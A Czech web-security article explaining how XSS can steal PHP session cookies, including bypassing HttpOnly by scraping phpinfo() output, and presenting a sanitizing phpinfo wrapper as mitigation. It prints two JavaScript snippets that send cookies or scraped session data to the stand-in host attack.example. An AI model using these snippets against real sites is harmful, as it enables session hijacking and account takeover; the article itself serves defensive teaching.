Přejít k navigační liště

Zdroják » PHP » Kradení session id pomocí phpinfo() a jak tomu zabránit

Kradení session id pomocí phpinfo() a jak tomu zabránit

Články PHP

Krádež session id z výpisu phpinfo() je již nějakou dobu známá technika, která se používá k obcházení atributu HttpOnly, který JavaScriptu zakazuje přístup k takto označené cookie (např. PHPSESSID). Mě akorát až teď napadlo řešení, které dovolí phpinfo() zachovat: ty citlivé údaje prostě zcenzurujeme, čímž phpinfo() pro útočníka ztratí část své hodnoty.

Text vyšel původně na autorově webu.

Klasické přihlášení do webové aplikace vypadá tak, že zadáte jméno a heslo, formulář odešlete, aplikace přihlašovací údaje ověří a do tzv. sessiony uloží informaci, že jste přihlášeni. Do prohlížeče pak odešle cookie s identifikátorem session (session id), který označuje tu vaši „plechovku“ se session daty. Váš session id nikdo jiný úmyslně nedostane, pokud by ho totiž získal, byl by pak přihlášen do vašeho účtu, což by bylo značně nežádoucí.

Session hijacking

Ale to by tu nesměli být různí mizerové: ti se od vás snaží ideálně nějak nepozorovaně získat právě ten session identifikátor, tím se dostat do vaší sessiony a v podstatě se za vás vydávat, sessionu vám tzv. unést (anglicky se tomu říká „session hijacking“). Takový klasický způsob ukradení session id je pomocí útoku Cross-Site Scripting (XSS), kdy do stránky útočník nějak vloží JavaScript, ať už přímo, nebo vložením externího souboru, který zákeřný kód bude obsahovat. Ten vložený kód může vypadat např. takto:

new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);

Když pak návštěvník na stránku přijde, jeho prohlížeč uvidí JavaScript, vytvoří objekt typu Image a bude chtít načíst obrázek z uvedené adresy. Ta v parametru cookie obsahuje pro přenos v URL bezpečně zakódované všechny cookie, ke kterým má JavaScript aktuálně přístup, tedy ty, které jsou uložené pro aktuální stránku (dle nastavení atributu DomainPath atd.) a nemají nastaven příznak HttpOnly.

Útočník si pak na svém serveru attack.example může zobrazit i třeba jenom access log, ve kterém uvidí požadavek na např. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19, z něj si pak vyzobne session id, v browseru načte stránku, ze které session id ukradl, otevře developer tools a přidá nebo změní cookie PHPSESSID, stránku pak reloadne a rázem je v té samé sessioně, česky sezení, přihlášen jako uživatel chudáka oběti.

Atribut HttpOnly

Pokud cookie má atribut HttpOnly, tak k ní JavaScript nemá přístup a kódem uvedeným výše ukrást nepůjde. To si ostatně můžete vyzkoušet v podstatě na jakémkoliv webu: ve vašem prohlížeči v developer tools si v záložce Application (Chrome) nebo Storage (Firefox) najděte nějakou cookie, která má příznak HttpOnly, a v konzoli, kterou můžete rovnou zobrazit stiskem klávesy Escape, si příkazem document.cookie vypište všechny cookies tak, jak je vidí JavaScript – cookies s HttpOnly tam nebudou.

A cookie se session id, v PHP aplikacích obvykle pojmenovaná PHPSESSID, atribut HttpOnly má často nastaven. V defaultní konfiguraci PHP se ale nenastavuje a je potřeba to udělat dodatečně ručně např. pomocí

ini_set('session.cookie_httponly', true);

Obcházení HttpOnly pomocí phpinfo()

Takže smůla, ledaže… ledaže by na webu někde byl zobrazen výstup z phpinfo(), PHP funkce, která vypisuje úplně všechno o aktuálně použitém PHP. Klasicky bývá na /info.php nebo /phpinfo.php, občas třeba v administraci za přihlášením, což je ta lepší a doporučovaná varianta, ale sama o sobě zde popisovaný problém nevyřeší. phpinfo() jsem zmiňoval i v článku o Full Path Disclosure, protože kromě konfigurace PHP a informacích o rozšířeních zobrazí právě i cestu k souborům, která se útočníkům může k něčemu hodit.

phpinfo()

Klasický výstup z phpinfo()

Ve výstupu z phpinfo() ale jsou vypsané i hodnoty cookies, které browser při požadavku poslal, včetně těch s HttpOnly, protože takové cookies se normálně po síti přenáší a server je tedy v rámci požadavku obdrží. Ve výpisu tedy bude i hodnota session id, minimálně jako řádek s např. $_COOKIE['PHPSESSID'], ale dle verze PHP a konfigurace klidně i víckrát.

Toho může útočník využít: místo aby kradl session id JavaScriptem přímo z browseru pomocí document.cookie, tak si JavaScriptem pošle požadavek na např. /phpinfo.php, vytáhne si jen tu pro něj zajímavou část odpovědi, kterou pak připojí k následujícímu požadavku, který si pošle k sobě. To zařídí třeba následující kód, který někam do stránek na doméně https://app.example/ vloží místo výše uvedeného new Image().src …:

fetch('https://app.example/info.php')
  .then(response => response.text())
  .then(text => {
    cookie = text.match(/_COOKIE.{1,2000}/)[0];
    fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
  });

Na prvním řádku pošleme požadavek na /info.php, druhý a třetí řádek zajistí, že v proměnné text budeme mít výstup z phpinfo(), ze kterého si na čtvrtém řádku vytáhneme řetězec _COOKIE a dalších maximálně 2000 znaků, ve kterých zcela určitě, kromě nějakého toho HTML, bude i session id. Na pátém řádku pak tento podřetězec přidáme do požadavku odesílaného na attack.example. Odpověď už nás nezajímá, stačí že prohlížeč poslal požadavek, a na serveru se pak podíváme do access logu. Mohli bychom si klidně poslat celé phpinfo(), ale potřeba to není, jdeme jenom po cookie se session id.

Pokud budete mít v aplikaci nějaký Cross-Site Scripting, aby útočník mohl vložit svůj zákeřný JavaScript, a výstup z phpinfo(), jedno jestli veřejně nebo za přihlášením, tak mizera může ukrást session id i když cookie, ve které se přenáší, má atribut HttpOnly.

Co s tím?

  1. Nemějte na webu XSS
  2. Nemějte v aplikaci výstup z phpinfo(), nebo věci jako var_dump($_SERVER) apod., a už vůbec ne veřejně

Teorie i praxe říká, že je lepší počítat s tím, že tam nějaký ten Cross-Site Scripting někdy mít budete, takže bod č. 1 padá. No a výstup z phpinfo() je celkem užitečná věc, takže bod č. 2 je také často nereálný.

Až když jsem psal bug report s titulkem „System Information contains sensitive information like the session id cookie“, tak mě napadl kompromis: phpinfo() v administraci necháme, ale ty důležitý údaje skryjeme, na ty tam stejně nikdo nekouká. Další úrovní zabezpečení by mohlo být zadání hesla nebo třeba 2FA kódu před naprosto každým zobrazením výstupu z phpinfo().

spaze/phpinfo

Už dříve jsem si vytvořil jednoduchý balíček spaze/phpinfo, který vezme výstup z phpinfo(), odřízne HTML hlavičku aby se ten výstup dal vložit do nějakého vlastního designu administrace apod. a inline CSS style="…" nahradí za class="…". Do této třídy jsem přidal sanitizaci, která defaultně nahrazuje hodnotu session id za hvězdičky.

Použití je skoro tak jednoduché jako zavolání phpinfo():

$info = new PhpInfo();
echo $info->getHtml();

Jádrem toho celého zázraku je v podstatě tenhle kód:

ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);

Můžete si ale přidat vlastní nahrazování dalších hodnot jako jsou např. cookie pro permanentní přihlašování a další, můžete si zvolit i vlastní „hvězdičky“:

// $loginToken = getLoginTokenValue(); např.
$info = new PhpInfo();
$info->addSanitization($loginToken, 'hele, asi spíš ne');
echo $info->getHtml();

Na mém webu to všechno zajišťuje třída SanitizedPhpInfo (pokrytá testem), výsledek pak vypadá nějak takhle:

phpinfo() s maskovanými hodnotami v $_COOKIE[‚PHPSESSID‘] a $_SERVER[‚HTTP_COOKIE‘]

Setec Astronomy je přesmyčka „too many secrets“

Místo prostého volání phpinfo() tedy raději použijte spaze/phpinfo. Funkci phpinfo() jsem přidal i do spaze/phpstan-disallowed-calls, což je rozšíření pro PHPStan, které hledá nebezpečné funkce a další ve vašem kódu.

Device Bound Session Credentials

Kradení cookies ale možná bude velmi brzy již minulostí, Chrome totiž experimentuje s něčím, co nazývají Device Bound Session Credentials. To by mělo zajistit, že sessiona bude svázaná s konkrétním zařízením, používají k tomu veřejné a soukromé klíče a TPM pro jejich uložení. Mělo by to také fungovat jako jakási nadstavba nad klasickými sessions, nemělo by to vyžadovat nějaké brutální změny všeho možného.

Prototyp tohoto řešení už chrání některé Google účty pokud uživatelé používají Chrome Beta a do konce roku 2024 by Device Bound Session Credentials na zkoušku měly být dostupné i veřejnosti a dalším webům jako tzv. Origin Trials.

Komentáře

Odebírat
Upozornit na
guest
8 Komentářů
Nejstarší
Nejnovější Most Voted
Inline Feedbacks
Zobrazit všechny komentáře
caracho

Co s tim? Sessions se daji velmi snadno pomoci hmac svazat s browserem a ip. Neni to sice 100%, ale moznosti hijackingu to omezuje vyrazne. Obzvlaste kdyz si dame na osahani toho browseru zalezet (browser fingerprinting se porad zdokonaluje)

caracho

Svázaní s IP zas tak častý problém jak by se mohlo zdát není – to už pak záleží na konkrétní aplikaci, čemu dát přednost.
Co se týká fingerprintingu, tak autoři sice expost omezují znamé techniky, ale zase kolikrát (nedomyšleně) implementují nové fičury a API, u kterých jim dochází až zpětně, co vlastně způsobili a jaké boční kanály tím přidali. A některé z technik jsou docela snadné na implementaci, ale zároveň na detekci a nasimulovaní útočníkem zas tak ne (třeba TLS fingerprinting) – jen to pořád o tom poměru cena/výkon.

caracho

Ale DBSC tu v tuhle chvili nemame, a tak je ten prostor pro hijack potreba zmensovat jinak – a jde jen o to najit odpovidajici pomer cena/vykon – treba pro aplikace co pisu, si svazani session s IP mohu dovolit.. A taky pak bude zalezet ne tom, zda to DBSC naimplementuji spravne – uz ted si umim predstavit nekolik zpusobu jak by se to dalo zneuzit (jako naprikad kauzs s Battery API, kdy to tvurci nedomysleli).

Jan Pražák

Nemějte v aplikaci výstup z phpinfo()

Stejně mám, ale prostě používám název souboru, který znám jenom já, rozhodně ne info.php nebo phpinfo.php. Obstrukce kolem upraveného výpisu phpinfo() mi přijdou zbytečné. Každopádně dík za ten tip s session.cookie_httponly , proč je to vůbec defaultně vypnuté?

Přístupnost není jen o splnění norem: nový pohled na inkluzivní design

Přístupnost a inkluze možná nepatří mezi nejžhavější témata digitálního světa – dokud o nich nezačne mluvit Vitaly Friedman. Na WebExpo 2024 předvedl, že inkluzivní design není jen o splněných checkboxech, ale hlavně o lidech. S energií sobě vlastní obrátil zažité přístupy naruby a ukázal, že skutečně přístupný web je nejen možný, ale i nezbytný.

Efektivnější vývoj UI nebo API: Co si odnést z WebExpo 2025?

Různé
Komentáře: 0
Jak snadno implementovat moderní uživatelské rozhraní? Které funkce brzdí rychlost vašeho webu? A kdy raději sami přibrzdit, abychom využitím AI nepřekročili etické principy? Debatu aktuálních dev témat rozdmýchá sedmnáctý ročník technologické konference WebExpo, která proběhne v Praze od 28. do 30. května. Který talk či workshop si rozhodně nenechat ujít? Toto je náš redakční výběr z vývojářských hroznů.

Zapřáhněte AI jako nikdy předtím. Květnová konference WebExpo přivítá hvězdy technologického světa

Od 28. do 30. května 2025 promění pražský Palác Lucerna na tři dny technologická konference WebExpo. Na programu je více než 80 přednášek a workshopů od expertů z celého světa. WebExpo tradičně propojuje vývojáře, designéry, marketéry i byznysové lídry a nabízí praktické dovednosti, strategické myšlení a přináší nejnovější trendy nejen v oblasti AI.